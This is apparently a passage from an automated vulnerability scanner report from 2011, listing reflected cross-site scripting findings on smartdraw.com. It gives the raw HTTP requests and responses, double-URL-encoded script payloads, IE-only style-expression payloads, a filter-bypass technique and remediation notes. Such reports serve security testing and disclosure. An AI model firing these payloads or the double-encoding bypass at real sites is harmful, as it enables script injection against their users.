GET /specials/sd/buy-sd.htm6d6a8%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%25220f4e3cd6ed9 HTTP/1.1 Host: www.smartdraw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Thu, 03 Feb 2011 20:29:29 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: EXP=ste; expires=Sun, 03-Feb-2041 20:29:29 GMT; path=/ Set-Cookie: REFID=2; expires=Sun, 03-Feb-2041 20:29:29 GMT; path=/ Set-Cookie: ASP.NET_SessionId=1q0jrzerd2axjnu1z4yq5c55; path=/; HttpOnly Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 8830 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2c172%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e9f436bf2670 was submitted in the REST URL parameter 3. This input was echoed as 2c172"><script>alert(1)</script>9f436bf2670 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /specials/sd/buy-sd.htm2c172%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e9f436bf2670?id=343769/x22/x3eBuy HTTP/1.1 Host: www.smartdraw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Thu, 03 Feb 2011 20:29:28 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: EXP=ste; expires=Sun, 03-Feb-2041 20:29:28 GMT; path=/ Set-Cookie: REFID=2; expires=Sun, 03-Feb-2041 20:29:28 GMT; path=/ Set-Cookie: ASP.NET_SessionId=iunkdq55f4mrs0zhymery055; path=/; HttpOnly Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 8949 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1b6e6%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e255e7c83b75 was submitted in the REST URL parameter 3. This input was echoed as 1b6e6"><script>alert(1)</script>255e7c83b75 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /specials/sd/1b6e6%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e255e7c83b75?id=343769/x22/x3eBuy HTTP/1.1 Host: www.smartdraw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 404 Not Found Cache-Control: public,no-cache,no-store,max-age=0,must-revalidate,proxy-revalidate Date: Thu, 03 Feb 2011 20:29:30 GMT Content-Length: 8886 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: EXP=ste; expires=Sun, 03-Feb-2041 20:29:30 GMT; path=/ Set-Cookie: REFID=2; expires=Sun, 03-Feb-2041 20:29:30 GMT; path=/ Set-Cookie: ASP.NET_SessionId=c2zv45jn1eebgs45s0y1xfqm; path=/; HttpOnly Pragma: no-cache Expires: Thu, 03 Feb 2011 20:29:30 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the id request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 420fb"><script>alert(1)</script>680e9c0cc7 was submitted in the id parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /specials/sd/buy-sd.htm?id=420fb"><script>alert(1)</script>680e9c0cc7 HTTP/1.1 Host: www.smartdraw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of the id request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2e89d"><script>alert(1)</script>e8ef8708314 was submitted in the id parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /specials/sd/buy-sd.htm?id=343769/x22/x3eBuy2e89d"><script>alert(1)</script>e8ef8708314 HTTP/1.1 Host: www.smartdraw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
1.187. http://www.smartdraw.com/specials/sd/buy-sd.htm [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.smartdraw.com
Path:
/specials/sd/buy-sd.htm
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ceaaa"><script>alert(1)</script>366bac39d96 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /specials/sd/buy-sd.htm?ceaaa"><script>alert(1)</script>366bac39d96=1 HTTP/1.1 Host: www.smartdraw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
1.188. http://www.smartdraw.com/specials/sd/buy-sd.htm [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.smartdraw.com
Path:
/specials/sd/buy-sd.htm
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 52f2b"><script>alert(1)</script>00c78a59a3f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /specials/sd/buy-sd.htm?52f2b"><script>alert(1)</script>00c78a59a3f=1 HTTP/1.1 Host: www.smartdraw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fff10%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ea7102c9c5a8 was submitted in the REST URL parameter 2. This input was echoed as fff10"><script>alert(1)</script>a7102c9c5a8 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /specials/smartdraw.aspfff10%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ea7102c9c5a8?id=104640/x22 HTTP/1.1 Host: www.smartdraw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Thu, 03 Feb 2011 20:29:12 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: EXP=ste; expires=Sun, 03-Feb-2041 20:29:12 GMT; path=/ Set-Cookie: REFID=2; expires=Sun, 03-Feb-2041 20:29:12 GMT; path=/ Set-Cookie: ASP.NET_SessionId=1kyde4v2dk5z4w45pkuoyr55; path=/; HttpOnly Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 8900 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1fb77%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e1ed6dd36217 was submitted in the REST URL parameter 2. This input was echoed as 1fb77"><script>alert(1)</script>1ed6dd36217 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /specials/1fb77%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e1ed6dd36217?id=104640/x22 HTTP/1.1 Host: www.smartdraw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 404 Not Found Date: Thu, 03 Feb 2011 20:29:13 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: EXP=ste; expires=Sun, 03-Feb-2041 20:29:13 GMT; path=/ Set-Cookie: REFID=2; expires=Sun, 03-Feb-2041 20:29:13 GMT; path=/ Set-Cookie: ASP.NET_SessionId=rgc5ewevo3ic5ebzjtk3pcfy; path=/; HttpOnly Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 8816 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 16ab3%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%252263feb98e41a was submitted in the REST URL parameter 2. This input was echoed as 16ab3"style="x:expression(alert(1))"63feb98e41a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /specials/16ab3%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%252263feb98e41a HTTP/1.1 Host: www.smartdraw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 404 Not Found Date: Thu, 03 Feb 2011 20:29:14 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: EXP=ste; expires=Sun, 03-Feb-2041 20:29:14 GMT; path=/ Set-Cookie: REFID=2; expires=Sun, 03-Feb-2041 20:29:14 GMT; path=/ Set-Cookie: ASP.NET_SessionId=xznk3xfpvt4fwq45lltljxjn; path=/; HttpOnly Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 8746 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 46591%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%252294313ed1278 was submitted in the REST URL parameter 2. This input was echoed as 46591"style="x:expression(alert(1))"94313ed1278 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /specials/46591%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%252294313ed1278 HTTP/1.1 Host: www.smartdraw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 404 Not Found Date: Thu, 03 Feb 2011 20:29:12 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: EXP=ste; expires=Sun, 03-Feb-2041 20:29:12 GMT; path=/ Set-Cookie: REFID=2; expires=Sun, 03-Feb-2041 20:29:12 GMT; path=/ Set-Cookie: ASP.NET_SessionId=2ksoxp55cqqywc453rftb3vt; path=/; HttpOnly Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 8746 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the id request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d9eb8"><script>alert(1)</script>02409d83cd8 was submitted in the id parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /specials/smartdraw.asp?id=104640/x22d9eb8"><script>alert(1)</script>02409d83cd8 HTTP/1.1 Host: www.smartdraw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of the id request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 84bb8"><script>alert(1)</script>626eeb09dab was submitted in the id parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /specials/smartdraw.asp?id=84bb8"><script>alert(1)</script>626eeb09dab HTTP/1.1 Host: www.smartdraw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
1.195. http://www.smartdraw.com/specials/smartdraw.asp [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.smartdraw.com
Path:
/specials/smartdraw.asp
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9a0d8"><script>alert(1)</script>19f5f3d2721 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /specials/smartdraw.asp?9a0d8"><script>alert(1)</script>19f5f3d2721=1 HTTP/1.1 Host: www.smartdraw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
1.196. http://www.smartdraw.com/specials/smartdraw.asp [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.smartdraw.com
Path:
/specials/smartdraw.asp
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f6931"><script>alert(1)</script>1538439b5db was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /specials/smartdraw.asp?f6931"><script>alert(1)</script>1538439b5db=1 HTTP/1.1 Host: www.smartdraw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 37c3c%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%2522e679ad699d2 was submitted in the REST URL parameter 1. This input was echoed as 37c3c"style="x:expression(alert(1))"e679ad699d2 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /37c3c%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%2522e679ad699d2/x22 HTTP/1.1 Host: www.smartdraw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 404 Not Found Date: Thu, 03 Feb 2011 20:29:59 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: EXP=ste; expires=Sun, 03-Feb-2041 20:29:59 GMT; path=/ Set-Cookie: REFID=2; expires=Sun, 03-Feb-2041 20:29:59 GMT; path=/ Set-Cookie: ASP.NET_SessionId=o1ruv145ogifusajxf15cv45; path=/; HttpOnly Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 8711 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5cd21%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%25229340ce36f21 was submitted in the REST URL parameter 1. This input was echoed as 5cd21"style="x:expression(alert(1))"9340ce36f21 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /support5cd21%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%25229340ce36f21/x22 HTTP/1.1 Host: www.smartdraw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 404 Not Found Date: Thu, 03 Feb 2011 20:29:56 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: EXP=ste; expires=Sun, 03-Feb-2041 20:29:56 GMT; path=/ Set-Cookie: REFID=2; expires=Sun, 03-Feb-2041 20:29:56 GMT; path=/ Set-Cookie: ASP.NET_SessionId=0vrtws45owfyd0ykewtjomyf; path=/; HttpOnly Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 8760 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 20991%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%2522284b0792e42 was submitted in the REST URL parameter 2. This input was echoed as 20991"style="x:expression(alert(1))"284b0792e42 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /support/x2220991%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%2522284b0792e42 HTTP/1.1 Host: www.smartdraw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 404 Not Found Date: Thu, 03 Feb 2011 20:30:06 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: EXP=ste; expires=Sun, 03-Feb-2041 20:30:06 GMT; path=/ Set-Cookie: REFID=2; expires=Sun, 03-Feb-2041 20:30:06 GMT; path=/ Set-Cookie: ASP.NET_SessionId=oo5bbiaclrpecvf51w0jwaml; path=/; HttpOnly Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 8760 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5ce71%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%25221f48f65f3b6 was submitted in the REST URL parameter 2. This input was echoed as 5ce71"style="x:expression(alert(1))"1f48f65f3b6 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /support/5ce71%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%25221f48f65f3b6 HTTP/1.1 Host: www.smartdraw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 404 Not Found Cache-Control: public,no-cache,no-store,max-age=0,must-revalidate,proxy-revalidate Date: Thu, 03 Feb 2011 20:30:09 GMT Content-Length: 8739 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: EXP=ste; expires=Sun, 03-Feb-2041 20:30:09 GMT; path=/ Set-Cookie: REFID=2; expires=Sun, 03-Feb-2041 20:30:09 GMT; path=/ Set-Cookie: ASP.NET_SessionId=lyrquzi1ro0haeato0nugmis; path=/; HttpOnly Pragma: no-cache Expires: Thu, 03 Feb 2011 20:30:09 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
1.201. http://www.smartdraw.com/support/x22 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.smartdraw.com
Path:
/support/x22
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 79e74"style%3d"x%3aexpression(alert(1))"af3d991af1d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 79e74"style="x:expression(alert(1))"af3d991af1d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /support/x22?79e74"style%3d"x%3aexpression(alert(1))"af3d991af1d=1 HTTP/1.1 Host: www.smartdraw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 404 Not Found Date: Thu, 03 Feb 2011 20:29:48 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: EXP=ste; expires=Sun, 03-Feb-2041 20:29:48 GMT; path=/ Set-Cookie: REFID=2; expires=Sun, 03-Feb-2041 20:29:48 GMT; path=/ Set-Cookie: ASP.NET_SessionId=oc0z2245wuz2afzvjdfzixel; path=/; HttpOnly Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 8781 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
1.202. http://www.smartdraw.com/support/x22 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.smartdraw.com
Path:
/support/x22
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 396ed"style%3d"x%3aexpression(alert(1))"eac095684e0 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 396ed"style="x:expression(alert(1))"eac095684e0 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /support/x22?396ed"style%3d"x%3aexpression(alert(1))"eac095684e0=1 HTTP/1.1 Host: www.smartdraw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 404 Not Found Cache-Control: public,no-cache,no-store,max-age=0,must-revalidate,proxy-revalidate Date: Thu, 03 Feb 2011 20:29:49 GMT Content-Length: 8781 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: EXP=ste; expires=Sun, 03-Feb-2041 20:29:49 GMT; path=/ Set-Cookie: REFID=2; expires=Sun, 03-Feb-2041 20:29:49 GMT; path=/ Set-Cookie: ASP.NET_SessionId=2smue255v4gtmz55m2l3rh45; path=/; HttpOnly Pragma: no-cache Expires: Thu, 03 Feb 2011 20:29:49 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 68b35%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%2522d2a8b1b996b was submitted in the REST URL parameter 1. This input was echoed as 68b35"style="x:expression(alert(1))"d2a8b1b996b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
